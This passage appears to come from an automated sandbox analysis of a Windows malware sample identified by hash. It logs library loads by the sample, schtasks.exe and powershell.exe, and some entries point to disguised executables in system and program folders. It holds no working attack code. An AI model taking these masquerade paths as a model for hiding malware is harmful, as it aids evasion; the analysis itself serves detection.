00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Runteb92aa12#\59a4984a6afe6b209eaaa379927ab81d\System.Runtime.Serialization. (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter C:\a45e2d72a3718dd27e9b0703307a2e4a.exe (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft OneDrive\dllhost.exe (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Tasks\OSPPSVC.exe (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe (UID: 00000000-00007792) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000768) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000768) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000768) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000768) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004652) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004652) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004652) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004652) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004364) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002352) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002352) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002352) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002352) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006052) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006052) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006052) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006052) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005220) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005220) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005220) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005220) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000892) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000892) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000892) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000892) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000364) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000364) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007972) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007972) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007972) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007972) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001248) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 